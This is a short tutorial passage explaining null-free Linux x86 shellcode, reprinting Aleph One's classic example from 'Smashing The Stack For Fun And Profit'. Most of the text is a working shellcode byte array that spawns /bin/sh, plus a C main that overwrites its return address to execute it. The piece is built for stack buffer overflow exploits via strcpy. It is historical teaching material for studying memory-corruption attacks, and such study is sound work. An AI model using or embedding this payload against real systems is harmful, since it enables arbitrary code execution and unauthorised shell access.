How to run a shell with code which contains no NULL characters; this is very useful as strcpy and friends terminate copies on the first NULL character encountered.
This piece is a reworking of the simple Linux shellcode we saw previously.
/*
* Run a shell via asm. No embedded NULL's.
*
* Written by Aleph One - taken from 'Smashing The Stack For Fun And Profit".
*
*/
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}